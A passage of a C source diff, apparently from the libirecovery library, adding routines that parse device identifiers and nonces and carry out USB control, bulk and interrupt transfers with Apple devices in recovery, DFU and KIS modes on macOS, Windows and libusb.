+ sscanf(ptr, "ECID:%" SCNx64, &client->device_info.ecid);
+ client->device_info.have_ecid = 1;
+ }
+
+ ptr = strstr(iboot_string, "IBFL:");
+ if (ptr != NULL) {
+ sscanf(ptr, "IBFL:%x", &client->device_info.ibfl);
+ client->device_info.have_ibfl = 1;
+ }
+
+ char tmp[256];
+ tmp[0] = '\0';
+ ptr = strstr(iboot_string, "SRNM:[");
+ if (ptr != NULL) {
+ sscanf(ptr, "SRNM:[%s]", tmp);
+ ptr = strrchr(tmp, ']');
+ if (ptr != NULL) {
+ *ptr = '\0';
+ }
+ client->device_info.srnm = strdup(tmp);
+ }
+
+ tmp[0] = '\0';
+ ptr = strstr(iboot_string, "IMEI:[");
+ if (ptr != NULL) {
+ sscanf(ptr, "IMEI:[%s]", tmp);
+ ptr = strrchr(tmp, ']');
+ if (ptr != NULL) {
+ *ptr = '\0';
+ }
+ client->device_info.imei = strdup(tmp);
+ }
+
+ tmp[0] = '\0';
+ ptr = strstr(iboot_string, "SRTG:[");
+ if (ptr != NULL) {
+ sscanf(ptr, "SRTG:[%s]", tmp);
+ ptr = strrchr(tmp, ']');
+ if (ptr != NULL) {
+ *ptr = '\0';
+ }
+ client->device_info.srtg = strdup(tmp);
+ }
+
+ client->device_info.pid = client->mode;
+ if (client->isKIS) {
+ client->device_info.pid = KIS_PRODUCT_ID;
+ }
+}
+
+static void irecv_copy_nonce_with_tag_from_buffer(const char* tag, unsigned char** nonce, unsigned int* nonce_size, const char *buf)
+{
+ int taglen = strlen(tag);
+ int nlen = 0;
+ const char* nonce_string = NULL;
+ const char* p = buf;
+ char* colon = NULL;
+ do {
+ colon = strchr(p, ':');
+ if (!colon)
+ break;
+ if (colon-taglen < p) {
+ break;
+ }
+ char *space = strchr(colon, ' ');
+ if (strncmp(colon-taglen, tag, taglen) == 0) {
+ p = colon+1;
+ if (!space) {
+ nlen = strlen(p);
+ } else {
+ nlen = space-p;
+ }
+ nonce_string = p;
+ nlen/=2;
+ break;
+ } else {
+ if (!space) {
+ break;
+ } else {
+ p = space+1;
+ }
+ }
+ } while (colon);
+
+ if (nlen == 0) {
+ debug("%s: WARNING: couldn't find tag %s in string %s\n", __func__, tag, buf);
+ return;
+ }
+
+ unsigned char *nn = malloc(nlen);
+ if (!nn) {
+ return;
+ }
+
+ int i = 0;
+ for (i = 0; i < nlen; i++) {
+ int val = 0;
+ if (sscanf(nonce_string+(i*2), "%02X", &val) == 1) {
+ nn[i] = (unsigned char)val;
+ } else {
+ debug("%s: ERROR: unexpected data in nonce result (%2s)\n", __func__, nonce_string+(i*2));
+ break;
+ }
+ }
+
+ if (i != nlen) {
+ debug("%s: ERROR: unable to parse nonce\n", __func__);
+ free(nn);
+ return;
+ }
+
+ *nonce = nn;
+ *nonce_size = nlen;
+}
+
+static void irecv_copy_nonce_with_tag(irecv_client_t client, const char* tag, unsigned char** nonce, unsigned int* nonce_size)
+{
+ if (!client || !tag) {
+ return;
+ }
+
+ char buf[256];
+ int len = 0;
+
+ *nonce = NULL;
+ *nonce_size = 0;
+
+ memset(buf, 0, sizeof(buf));
+ len = irecv_get_string_descriptor_ascii(client, 1, (unsigned char*)buf, sizeof(buf)-1);
+ if (len < 0) {
+ debug("%s: got length: %d\n", __func__, len);
+ return;
+ }
+
+ buf[len] = 0;
+
+ irecv_copy_nonce_with_tag_from_buffer(tag,nonce,nonce_size,buf);
+}
+
+#ifndef _WIN32
+static irecv_error_t irecv_kis_request_init(KIS_req_header *hdr, uint8_t portal, uint16_t index, size_t argCount, size_t payloadSize, size_t rplWords)
+{
+ if (argCount > UINT8_MAX) {
+ return IRECV_E_INVALID_INPUT;
+ }
+
+ if (index >= (1 << 10)) {
+ return IRECV_E_INVALID_INPUT;
+ }
+
+ if (rplWords >= (1 << 14)) {
+ return IRECV_E_INVALID_INPUT;
+ }
+
+ size_t reqSize = payloadSize + (argCount << 2);
+ if (reqSize > UINT32_MAX) {
+ return IRECV_E_INVALID_INPUT;
+ }
+
+ hdr->sequence = 0; // Doesn't matter
+ hdr->version = 0xA0;
+ hdr->portal = portal;
+ hdr->argCount = (uint8_t) argCount;
+ hdr->indexLo = (uint8_t) (index & 0xFF);
+ hdr->indexHiRplSizeLo = (uint8_t) (((index >> 8) & 0x3) | ((rplWords << 2) & 0xFC));
+ hdr->rplSizeHi = (uint8_t) ((rplWords >> 6) & 0xFF);
+ hdr->reqSize = (uint32_t) reqSize;
+
+ return IRECV_E_SUCCESS;
+}
+
+static irecv_error_t irecv_kis_request(irecv_client_t client, KIS_req_header *req, size_t reqSize, KIS_req_header *rpl, size_t *rplSize)
+{
+ int endpoint = 0;
+ switch (req->portal) {
+ case KIS_PORTAL_CONFIG:
+ endpoint = 1;
+ break;
+ case KIS_PORTAL_RSM:
+ endpoint = 3;
+ break;
+ default:
+ debug("Don't know which endpoint to use for portal %d\n", req->portal);
+ return IRECV_E_INVALID_INPUT;
+ }
+
+ int sent = 0;
+ irecv_error_t err = irecv_usb_bulk_transfer(client, endpoint, (unsigned char *) req, reqSize, &sent, USB_TIMEOUT);
+ if (err != IRECV_E_SUCCESS) {
+ debug("[send] irecv_usb_bulk_transfer failed, error %d\n", err);
+ return err;
+ }
+
+ if ((size_t) sent != reqSize) {
+ debug("sent != reqSize\n");
+ return IRECV_E_USB_UPLOAD;
+ }
+
+ int rcvd = 0;
+ err = irecv_usb_bulk_transfer(client, endpoint | 0x80, (unsigned char *) rpl, *rplSize, &rcvd, USB_TIMEOUT);
+ if (err != IRECV_E_SUCCESS) {
+ debug("[rcv] irecv_usb_bulk_transfer failed, error %d\n", err);
+ return err;
+ }
+
+ *rplSize = rcvd;
+
+ return IRECV_E_SUCCESS;
+}
+
+static irecv_error_t irecv_kis_config_write32(irecv_client_t client, uint8_t portal, uint16_t index, uint32_t value)
+{
+ KIS_config_wr32 req = {};
+ KIS_generic_reply rpl = {};
+ irecv_error_t err = irecv_kis_request_init(&req.hdr, portal, index, 1, 0, 1);
+ if (err != IRECV_E_SUCCESS) {
+ debug("Failed to init KIS request, error %d\n", err);
+ return err;
+ }
+
+ req.value = value;
+
+ size_t rplSize = sizeof(rpl);
+ err = irecv_kis_request(client, &req.hdr, sizeof(req), &rpl.hdr, &rplSize);
+ if (err != IRECV_E_SUCCESS) {
+ debug("Failed to send KIS request, error %d\n", err);
+ return err;
+ }
+
+ if (rpl.size != 4) {
+ debug("Failed to write config, %d bytes written, status %d\n", rpl.size, rpl.status);
+ return err;
+ }
+
+ return IRECV_E_SUCCESS;
+}
+
+static int irecv_kis_read_string(KIS_device_info *di, size_t off, char *buf, size_t buf_size)
+{
+ off *= 4;
+
+ size_t inputSize = sizeof(KIS_device_info) - sizeof(KIS_req_header);
+
+ if ((off + 2) > inputSize)
+ return 0;
+
+ uint8_t len = di->deviceInfo[off];
+ uint8_t type = di->deviceInfo[off + 1];
+
+ if (len & 1)
+ return 0;
+
+ if (len/2 >= buf_size)
+ return 0;
+
+ if ((off + 2 + len) > inputSize)
+ return 0;
+
+ if (type != 3)
+ return 0;
+
+ buf[len >> 1] = 0;
+ for (size_t i = 0; i < len; i += 2) {
+ buf[i >> 1] = di->deviceInfo[i + off + 2];
+ }
+
+ return len/2;
+}
+#endif
+
+static irecv_error_t irecv_kis_init(irecv_client_t client)
+{
+#ifndef _WIN32
+ irecv_error_t err = irecv_kis_config_write32(client, KIS_PORTAL_CONFIG, KIS_INDEX_ENABLE_A, KIS_ENABLE_A_VAL);
+ if (err != IRECV_E_SUCCESS) {
+ debug("Failed to write to KIS_INDEX_ENABLE_A, error %d\n", err);
+ return err;
+ }
+
+ err = irecv_kis_config_write32(client, KIS_PORTAL_CONFIG, KIS_INDEX_ENABLE_B, KIS_ENABLE_B_VAL);
+ if (err != IRECV_E_SUCCESS) {
+ debug("Failed to write to KIS_INDEX_ENABLE_B, error %d\n", err);
+ return err;
+ }
+#endif
+ client->isKIS = 1;
+
+ return IRECV_E_SUCCESS;
+}
+
+static irecv_error_t irecv_kis_load_device_info(irecv_client_t client)
+{
+ debug("Loading device info in KIS mode...\n");
+#ifdef _WIN32
+ KIS_device_info kisInfo;
+ DWORD transferred = 0;
+ int ret = DeviceIoControl(client->handle, 0x220004, NULL, 0, &kisInfo, sizeof(kisInfo), (PDWORD)&transferred, NULL);
+ if (ret) {
+ debug("Serial: %s\n", kisInfo.serial);
+ irecv_load_device_info_from_iboot_string(client, kisInfo.serial);
+ debug("Manufacturer: %s\n", kisInfo.manufacturer);
+ debug("Product: %s\n", kisInfo.product);
+ debug("Nonces: %s\n", kisInfo.nonces);
+ irecv_copy_nonce_with_tag_from_buffer("NONC", &client->device_info.ap_nonce, &client->device_info.ap_nonce_size, kisInfo.nonces);
+ irecv_copy_nonce_with_tag_from_buffer("SNON", &client->device_info.sep_nonce, &client->device_info.sep_nonce_size, kisInfo.nonces);
+ debug("VID: 0x%04x\n", kisInfo.vid);
+ debug("PID: 0x%04x\n", kisInfo.pid);
+ }
+ client->mode = kisInfo.pid;
+#else
+ KIS_req_header req = {};
+ KIS_device_info di = {};
+ irecv_error_t err = irecv_kis_request_init(&req, KIS_PORTAL_RSM, KIS_INDEX_GET_INFO, 0, 0, sizeof(di.deviceInfo)/4);
+ if (err != IRECV_E_SUCCESS) {
+ debug("Failed to init KIS request, error %d\n", err);
+ return err;
+ }
+
+ size_t rcvSize = sizeof(di);
+ err = irecv_kis_request(client, &req, sizeof(req), &di.hdr, &rcvSize);
+ if (err != IRECV_E_SUCCESS) {
+ debug("Failed to send KIS request, error %d\n", err);
+ return err;
+ }
+
+ char buf[0x100];
+ int len = 0;
+
+ len = irecv_kis_read_string(&di, di.deviceDescriptor.iSerialNumber, buf, sizeof(buf));
+ if (len == 0)
+ return IRECV_E_INVALID_INPUT;
+ debug("Serial: %s\n", buf);
+
+ irecv_load_device_info_from_iboot_string(client, buf);
+
+ len = irecv_kis_read_string(&di, di.deviceDescriptor.iManufacturer, buf, sizeof(buf));
+ if (len == 0)
+ return IRECV_E_INVALID_INPUT;
+ debug("Manufacturer: %s\n", buf);
+
+ len = irecv_kis_read_string(&di, di.deviceDescriptor.iProduct, buf, sizeof(buf));
+ if (len == 0)
+ return IRECV_E_INVALID_INPUT;
+ debug("Product: %s\n", buf);
+
+ len = irecv_kis_read_string(&di, di.nonceOffset, buf, sizeof(buf));
+ if (len == 0)
+ return IRECV_E_INVALID_INPUT;
+ debug("Nonces: %s\n", buf);
+
+ irecv_copy_nonce_with_tag_from_buffer("NONC", &client->device_info.ap_nonce, &client->device_info.ap_nonce_size, buf);
+ irecv_copy_nonce_with_tag_from_buffer("SNON", &client->device_info.sep_nonce, &client->device_info.sep_nonce_size, buf);
+
+ debug("VID: 0x%04x\n", di.deviceDescriptor.idVendor);
+ debug("PID: 0x%04x\n", di.deviceDescriptor.idProduct);
+
+ client->mode = di.deviceDescriptor.idProduct;
+#endif
+ return IRECV_E_SUCCESS;
+}
+
+#ifdef _WIN32
+static const GUID GUID_DEVINTERFACE_IBOOT = {0xED82A167L, 0xD61A, 0x4AF6, {0x9A, 0xB6, 0x11, 0xE5, 0x22, 0x36, 0xC5, 0x76}};
+static const GUID GUID_DEVINTERFACE_DFU = {0xB8085869L, 0xFEB9, 0x404B, {0x8C, 0xB1, 0x1E, 0x5C, 0x14, 0xFA, 0x8C, 0x54}};
+static const GUID GUID_DEVINTERFACE_KIS = {0xB36F4137L, 0xF4EF, 0x4BFC, {0xA2, 0x5A, 0xC2, 0x41, 0x07, 0x68, 0xEE, 0x37}};
+static const GUID GUID_DEVINTERFACE_PORTDFU = {0xAF633FF1L, 0x1170, 0x4CA6, {0xAE, 0x9E, 0x08, 0xD0, 0x01, 0x42, 0x1E, 0xAA}};
+
+typedef struct usb_control_request {
+ uint8_t bmRequestType;
+ uint8_t bRequest;
+ uint16_t wValue;
+ uint16_t wIndex;
+ uint16_t wLength;
+
+ char data[];
+} usb_control_request;
+
+static irecv_error_t win32_open_with_ecid(irecv_client_t* client, uint64_t ecid)
+{
+ int found = 0;
+ const GUID *guids[] = { &GUID_DEVINTERFACE_KIS, &GUID_DEVINTERFACE_PORTDFU, &GUID_DEVINTERFACE_DFU, &GUID_DEVINTERFACE_IBOOT, NULL };
+ irecv_client_t _client = (irecv_client_t) malloc(sizeof(struct irecv_client_private));
+ memset(_client, 0, sizeof(struct irecv_client_private));
+
+ int k;
+ for (k = 0; !found && guids[k]; k++) {
+ DWORD i;
+ SP_DEVICE_INTERFACE_DATA currentInterface;
+ HDEVINFO usbDevices = SetupDiGetClassDevs(guids[k], NULL, NULL, DIGCF_PRESENT | DIGCF_DEVICEINTERFACE);
+ memset(&currentInterface, '\0', sizeof(SP_DEVICE_INTERFACE_DATA));
+ currentInterface.cbSize = sizeof(SP_DEVICE_INTERFACE_DATA);
+ for (i = 0; usbDevices && SetupDiEnumDeviceInterfaces(usbDevices, NULL, guids[k], i, &currentInterface); i++) {
+ _client->handle = INVALID_HANDLE_VALUE;
+ DWORD requiredSize = 0;
+ PSP_DEVICE_INTERFACE_DETAIL_DATA_A details;
+ SetupDiGetDeviceInterfaceDetailA(usbDevices, &currentInterface, NULL, 0, &requiredSize, NULL);
+ details = (PSP_DEVICE_INTERFACE_DETAIL_DATA_A) malloc(requiredSize);
+ details->cbSize = sizeof(SP_DEVICE_INTERFACE_DETAIL_DATA_A);
+ if (!SetupDiGetDeviceInterfaceDetailA(usbDevices, &currentInterface, details, requiredSize, NULL, NULL)) {
+ free(details);
+ continue;
+ }
+
+ unsigned int pid = 0;
+ unsigned int vid = 0;
+ if (sscanf(details->DevicePath, "\\\\?\\%*3s#vid_%04x&pid_%04x", &vid, &pid) != 2) {
+ debug("%s: ERROR: failed to parse VID/PID! path: %s\n", __func__, details->DevicePath);
+ free(details);
+ continue;
+ }
+ if (vid != APPLE_VENDOR_ID) {
+ free(details);
+ continue;
+ }
+
+ // make sure the current device is actually in the right mode for the given driver interface
+ if ((guids[k] == &GUID_DEVINTERFACE_DFU && pid != IRECV_K_DFU_MODE && pid != IRECV_K_WTF_MODE)
+ || (guids[k] == &GUID_DEVINTERFACE_PORTDFU && pid != IRECV_K_PORT_DFU_MODE)
+ || (guids[k] == &GUID_DEVINTERFACE_IBOOT && (pid < IRECV_K_RECOVERY_MODE_1 || pid > IRECV_K_RECOVERY_MODE_4))
+ || (guids[k] == &GUID_DEVINTERFACE_KIS && pid != 1)
+ ) {
+ free(details);
+ continue;
+ }
+ if (guids[k] == &GUID_DEVINTERFACE_KIS) {
+ pid = KIS_PRODUCT_ID;
+ }
+
+ _client->handle = CreateFileA(details->DevicePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
+ if (_client->handle == INVALID_HANDLE_VALUE) {
+ debug("%s: Failed to open device path %s: %d\n", __func__, details->DevicePath, (int)GetLastError());
+ free(details);
+ continue;
+ }
+ _client->mode = pid;
+
+ if (ecid == IRECV_K_WTF_MODE) {
+ if (_client->mode != IRECV_K_WTF_MODE) {
+ /* special ecid case, ignore !IRECV_K_WTF_MODE */
+ CloseHandle(_client->handle);
+ free(details);
+ continue;
+ } else {
+ ecid = 0;
+ }
+ }
+
+ if ((ecid != 0) && (_client->mode == IRECV_K_WTF_MODE)) {
+ /* we can't get ecid in WTF mode */
+ CloseHandle(_client->handle);
+ free(details);
+ continue;
+ }
+
+ char serial_str[256];
+ serial_str[0] = '\0';
+
+ if (_client->mode != KIS_PRODUCT_ID) {
+ char *p = (char*)details->DevicePath;
+ while ((p = strstr(p, "\\usb"))) {
+ if (sscanf(p, "\\usb#vid_05ac&pid_%*04x#%s", serial_str) == 1)
+ break;
+ p += 4;
+ }
+ free(details);
+
+ if (serial_str[0] == '\0') {
+ CloseHandle(_client->handle);
+ continue;
+ }
+ p = strchr(serial_str, '#');
+ if (p) {
+ *p = '\0';
+ }
+
+ unsigned int j;
+ for (j = 0; j < strlen(serial_str); j++) {
+ if (serial_str[j] == '_') {
+ serial_str[j] = ' ';
+ } else {
+ serial_str[j] = toupper(serial_str[j]);
+ }
+ }
+
+ irecv_load_device_info_from_iboot_string(_client, serial_str);
+ }
+
+ if (ecid != 0 && _client->mode != KIS_PRODUCT_ID) {
+ if (_client->device_info.ecid != ecid) {
+ CloseHandle(_client->handle);
+ continue;
+ }
+ debug("found device with ECID %016" PRIx64 "\n", (uint64_t)ecid);
+ }
+ found = 1;
+ break;
+ }
+ SetupDiDestroyDeviceInfoList(usbDevices);
+ }
+
+ if (!found) {
+ irecv_close(_client);
+ return IRECV_E_UNABLE_TO_CONNECT;
+ }
+
+ *client = _client;
+
+ return IRECV_E_SUCCESS;
+}
+#endif
+
+#ifdef HAVE_IOKIT
+static void iokit_cfdictionary_set_short(CFMutableDictionaryRef dict, const void *key, SInt16 value)
+{
+ CFNumberRef numberRef;
+
+ numberRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberShortType, &value);
+ if (numberRef) {
+ CFDictionarySetValue(dict, key, numberRef);
+ CFRelease(numberRef);
+ }
+}
+#endif
+
+static int check_context(irecv_client_t client)
+{
+ if (client == NULL || client->handle == NULL) {
+ return IRECV_E_NO_DEVICE;
+ }
+
+ return IRECV_E_SUCCESS;
+}
+#endif
+
+#ifndef USE_DUMMY
+#ifdef HAVE_IOKIT
+static int iokit_usb_control_transfer(irecv_client_t client, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, unsigned char *data, uint16_t w_length, unsigned int timeout)
+{
+ IOReturn result;
+ IOUSBDevRequestTO req;
+
+ bzero(&req, sizeof(req));
+ req.bmRequestType = bm_request_type;
+ req.bRequest = b_request;
+ req.wValue = OSSwapLittleToHostInt16(w_value);
+ req.wIndex = OSSwapLittleToHostInt16(w_index);
+ req.wLength = OSSwapLittleToHostInt16(w_length);
+ req.pData = data;
+ req.noDataTimeout = timeout;
+ req.completionTimeout = timeout;
+
+ result = (*client->handle)->DeviceRequestTO(client->handle, &req);
+ switch (result) {
+ case kIOReturnSuccess: return req.wLenDone;
+ case kIOReturnTimeout: return IRECV_E_TIMEOUT;
+ case kIOUSBTransactionTimeout: return IRECV_E_TIMEOUT;
+ case kIOReturnNotResponding: return IRECV_E_NO_DEVICE;
+ case kIOReturnNoDevice: return IRECV_E_NO_DEVICE;
+ default:
+ return IRECV_E_UNKNOWN_ERROR;
+ }
+}
+#else
+#ifdef __APPLE__
+ void dummy_callback(void) { }
+#endif
+#endif
+#endif
+
+int irecv_usb_control_transfer(irecv_client_t client, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, unsigned char *data, uint16_t w_length, unsigned int timeout)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+#ifndef _WIN32
+#ifdef HAVE_IOKIT
+ return iokit_usb_control_transfer(client, bm_request_type, b_request, w_value, w_index, data, w_length, timeout);
+#else
+ return libusb_control_transfer(client->handle, bm_request_type, b_request, w_value, w_index, data, w_length, timeout);
+#endif
+#else
+ DWORD count = 0;
+ BOOL bRet;
+ OVERLAPPED overlapped;
+
+ if (data == NULL)
+ w_length = 0;
+
+ usb_control_request* packet = (usb_control_request*) malloc(sizeof(usb_control_request) + w_length);
+ packet->bmRequestType = bm_request_type;
+ packet->bRequest = b_request;
+ packet->wValue = w_value;
+ packet->wIndex = w_index;
+ packet->wLength = w_length;
+
+ if (bm_request_type < 0x80 && w_length > 0) {
+ memcpy(packet->data, data, w_length);
+ }
+
+ memset(&overlapped, 0, sizeof(overlapped));
+ overlapped.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
+ DeviceIoControl(client->handle, 0x2200A0, packet, sizeof(usb_control_request) + w_length, packet, sizeof(usb_control_request) + w_length, NULL, &overlapped);
+ WaitForSingleObject(overlapped.hEvent, timeout);
+ bRet = GetOverlappedResult(client->handle, &overlapped, &count, FALSE);
+ CloseHandle(overlapped.hEvent);
+ if (!bRet) {
+ CancelIo(client->handle);
+ free(packet);
+ return -1;
+ }
+
+ count -= sizeof(usb_control_request);
+ if (count > 0) {
+ if (bm_request_type >= 0x80) {
+ memcpy(data, packet->data, count);
+ }
+ }
+ free(packet);
+
+ return count;
+#endif
+#endif
+}
+
+#ifndef USE_DUMMY
+#ifdef HAVE_IOKIT
+static int iokit_usb_bulk_transfer(irecv_client_t client,
+ unsigned char endpoint,
+ unsigned char *data,
+ int length,
+ int *transferred,
+ unsigned int timeout)
+{
+ IOReturn result;
+ IOUSBInterfaceInterface300 **intf = client->usbInterface;
+ UInt32 size = length;
+ UInt8 isUSBIn = (endpoint & kUSBbEndpointDirectionMask) != 0;
+ UInt8 numEndpoints;
+
+ if (!intf) return IRECV_E_USB_INTERFACE;
+
+ result = (*intf)->GetNumEndpoints(intf, &numEndpoints);
+
+ if (result != kIOReturnSuccess)
+ return IRECV_E_USB_INTERFACE;
+
+ for (UInt8 pipeRef = 0; pipeRef <= numEndpoints; pipeRef++) {
+ UInt8 direction = 0;
+ UInt8 number = 0;
+ UInt8 transferType = 0;
+ UInt16 maxPacketSize = 0;
+ UInt8 interval = 0;
+
+ result = (*intf)->GetPipeProperties(intf, pipeRef, &direction, &number, &transferType, &maxPacketSize, &interval);
+ if (result != kIOReturnSuccess)
+ continue;
+
+ if (direction == 3)
+ direction = isUSBIn;
+
+ if (number != (endpoint & ~kUSBbEndpointDirectionMask) || direction != isUSBIn)
+ continue;
+
+ // Just because
+ result = (*intf)->GetPipeStatus(intf, pipeRef);
+ switch (result) {
+ case kIOReturnSuccess: break;
+ case kIOReturnNoDevice: return IRECV_E_NO_DEVICE;
+ case kIOReturnNotOpen: return IRECV_E_UNABLE_TO_CONNECT;
+ default: return IRECV_E_USB_STATUS;
+ }
+
+ // Do the transfer
+ if (isUSBIn) {
+ result = (*intf)->ReadPipeTO(intf, pipeRef, data, &size, timeout, timeout);
+ if (result != kIOReturnSuccess)
+ return IRECV_E_PIPE;
+ *transferred = size;
+
+ return IRECV_E_SUCCESS;
+ }
+ else {
+ // IOUSBInterfaceClass::interfaceWritePipe (intf?, pipeRef==1, data, size=0x8000)
+ result = (*intf)->WritePipeTO(intf, pipeRef, data, size, timeout, timeout);
+ if (result != kIOReturnSuccess)
+ return IRECV_E_PIPE;
+ *transferred = size;
+
+ return IRECV_E_SUCCESS;
+ }
+ }
+
+ return IRECV_E_USB_INTERFACE;
+}
+
+static int iokit_usb_interrupt_transfer(irecv_client_t client,
+ unsigned char endpoint,
+ unsigned char *data,
+ int length,
+ int *transferred,
+ unsigned int timeout)
+{
+ IOReturn result;
+ IOUSBInterfaceInterface300 **intf = client->usbInterface;
+ UInt32 size = length;
+ UInt8 isUSBIn = (endpoint & kUSBbEndpointDirectionMask) != 0;
+ UInt8 numEndpoints;
+
+ if (!intf) return IRECV_E_USB_INTERFACE;
+
+ result = (*intf)->GetNumEndpoints(intf, &numEndpoints);
+
+ if (result != kIOReturnSuccess)
+ return IRECV_E_USB_INTERFACE;
+
+ for (UInt8 pipeRef = 0; pipeRef <= numEndpoints; pipeRef++) {
+ UInt8 direction = 0;
+ UInt8 number = 0;
+ UInt8 transferType = 0;
+ UInt16 maxPacketSize = 0;
+ UInt8 interval = 0;
+
+ result = (*intf)->GetPipeProperties(intf, pipeRef, &direction, &number, &transferType, &maxPacketSize, &interval);
+ if (result != kIOReturnSuccess)
+ continue;
+
+ if (direction == 3)
+ direction = isUSBIn;
+
+ if (number != (endpoint & ~kUSBbEndpointDirectionMask) || direction != isUSBIn)
+ continue;
+
+ // Just because
+ result = (*intf)->GetPipeStatus(intf, pipeRef);
+ switch (result) {
+ case kIOReturnSuccess: break;
+ case kIOReturnNoDevice: return IRECV_E_NO_DEVICE;
+ case kIOReturnNotOpen: return IRECV_E_UNABLE_TO_CONNECT;
+ default: return IRECV_E_USB_STATUS;
+ }
+
+ // Do the transfer
+ if (isUSBIn) {
+ result = (*intf)->ReadPipeTO(intf, pipeRef, data, &size, timeout, timeout);
+ if (result != kIOReturnSuccess)
+ return IRECV_E_PIPE;
+ *transferred = size;
+
+ return IRECV_E_SUCCESS;
+ }
+ else {
+ result = (*intf)->WritePipeTO(intf, pipeRef, data, size, timeout, timeout);
+ if (result != kIOReturnSuccess)
+ return IRECV_E_PIPE;
+ *transferred = size;
+
+ return IRECV_E_SUCCESS;
+ }
+ }
+
+ return IRECV_E_USB_INTERFACE;
+}
+#endif
+#endif
+
+int irecv_usb_bulk_transfer(irecv_client_t client,
+ unsigned char endpoint,
+ unsigned char *data,
+ int length,
+ int *transferred,
+ unsigned int timeout)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ int ret;
+
+#ifndef _WIN32
+#ifdef HAVE_IOKIT
+ return iokit_usb_bulk_transfer(client, endpoint, data, length, transferred, timeout);
+#else
+ ret = libusb_bulk_transfer(client->handle, endpoint, data, length, transferred, timeout);
+ if (ret < 0) {
+ libusb_clear_halt(client->handle, endpoint);
+ }
+#endif
+#else
+ if (endpoint==0x4) {
+ ret = DeviceIoControl(client->handle, 0x2201B6, data, length, data, length, (PDWORD) transferred, NULL);
+ } else {
+ ret = 0;
+ }
+ ret = (ret==0) ? -1 : 0;
+#endif
+
+ return ret;
+#endif
+}
+
+IRECV_API int irecv_usb_interrupt_transfer(irecv_client_t client,
+ unsigned char endpoint,
+ unsigned char *data,
+ int length,
+ int *transferred,
+ unsigned int timeout)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ int ret;
+
+#ifndef _WIN32
+#ifdef HAVE_IOKIT
+ return iokit_usb_interrupt_transfer(client, endpoint, data, length, transferred, timeout);
+#else
+ ret = libusb_interrupt_transfer(client->handle, endpoint, data, length, transferred, timeout);
+ if (ret < 0) {
+ libusb_clear_halt(client->handle, endpoint);
+ }
+#endif
+#else
+ // win32
+ return IRECV_E_UNSUPPORTED;
+#endif
+
+ return ret;
+#endif
+}
+
+#ifndef USE_DUMMY
+#ifdef HAVE_IOKIT
+static irecv_error_t iokit_usb_open_service(irecv_client_t *pclient, io_service_t service)
+{
+ IOReturn result;
+ irecv_client_t client;
+ SInt32 score;
+ UInt16 mode;
+ UInt32 locationID;
+ IOCFPlugInInterface **plug = NULL;
+ CFStringRef serialString;
+
+ client = (irecv_client_t) calloc( 1, sizeof(struct irecv_client_private));
+
+ // Create the plug-in
+ result = IOCreatePlugInInterfaceForService(service, kIOUSBDeviceUserClientTypeID, kIOCFPlugInInterfaceID, &plug, &score);
+ if (result != kIOReturnSuccess) {
+ IOObjectRelease(service);
+ free(client);
+ return IRECV_E_UNKNOWN_ERROR;
+ }
+
+ // Cache the serial string before discarding the service. The service object
+ // has a cached copy, so a request to the hardware device is not required.
+ char serial_str[256];
+ serial_str[0] = '\0';
+ serialString = IORegistryEntryCreateCFProperty(service, CFSTR(kUSBSerialNumberString), kCFAllocatorDefault, 0);
+ if (serialString) {
+ CFStringGetCString(serialString, serial_str, sizeof(serial_str), kCFStringEncodingUTF8);
+ CFRelease(serialString);
+ }
+ irecv_load_device_info_from_iboot_string(client, serial_str);
+
+ IOObjectRelease(service);
+
+ // Create the device interface
+ result = (*plug)->QueryInterface(plug, CFUUIDGetUUIDBytes(kIOUSBDeviceInterfaceID320), (LPVOID *)&(client->handle));
+ IODestroyPlugInInterface(plug);
+ if (result != kIOReturnSuccess) {
+ free(client);
+ return IRECV_E_UNKNOWN_ERROR;
+ }
+
+ (*client->handle)->GetDeviceProduct(client->handle, &mode);
+ (*client->handle)->GetLocationID(client->handle, &locationID);
+ client->mode = mode;
+ debug("opening device %04x:%04x @ %#010x...\n", kAppleVendorID, client->mode, locationID);
+
+ result = (*client->handle)->USBDeviceOpenSeize(client->handle);
+ if (result != kIOReturnSuccess) {
+ (*client->handle)->Release(client->handle);
+ free(client);
+ return IRECV_E_UNABLE_TO_CONNECT;
+ }
+
+ *pclient = client;
+ return IRECV_E_SUCCESS;
+}
+
+static io_iterator_t iokit_usb_get_iterator_for_pid(UInt16 pid)
+{
+ IOReturn result;
+ io_iterator_t iterator;
+ CFMutableDictionaryRef matchingDict;
+
+ matchingDict = IOServiceMatching(kIOUSBDeviceClassName);
+ iokit_cfdictionary_set_short(matchingDict, CFSTR(kUSBVendorID), kAppleVendorID);
+ iokit_cfdictionary_set_short(matchingDict, CFSTR(kUSBProductID), pid);
+
+ result = IOServiceGetMatchingServices(MACH_PORT_NULL, matchingDict, &iterator);
+ if (result != kIOReturnSuccess)
+ return IO_OBJECT_NULL;
+
+ return iterator;
+}
+
+static irecv_error_t iokit_open_with_ecid(irecv_client_t* pclient, uint64_t ecid)
+{
+ io_service_t service, ret_service;
+ io_iterator_t iterator;
+ CFStringRef usbSerial = NULL;
+ CFStringRef ecidString = NULL;
+ CFRange range;
+
+ UInt16 wtf_pids[] = { IRECV_K_WTF_MODE, 0};
+ UInt16 all_pids[] = { IRECV_K_WTF_MODE, IRECV_K_DFU_MODE, IRECV_K_PORT_DFU_MODE, IRECV_K_RECOVERY_MODE_1, IRECV_K_RECOVERY_MODE_2, IRECV_K_RECOVERY_MODE_3, IRECV_K_RECOVERY_MODE_4, KIS_PRODUCT_ID, 0 };
+ UInt16 *pids = all_pids;
+ int i;
+
+ if (pclient == NULL) {
+ debug("%s: pclient parameter is null\n", __func__);
+ return IRECV_E_INVALID_INPUT;
+ }
+ if (ecid == IRECV_K_WTF_MODE) {
+ /* special ecid case, ignore !IRECV_K_WTF_MODE */
+ pids = wtf_pids;
+ ecid = 0;
+ }
+ if (ecid > 0) {
+ ecidString = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("%llX"), ecid);
+ if (ecidString == NULL) {
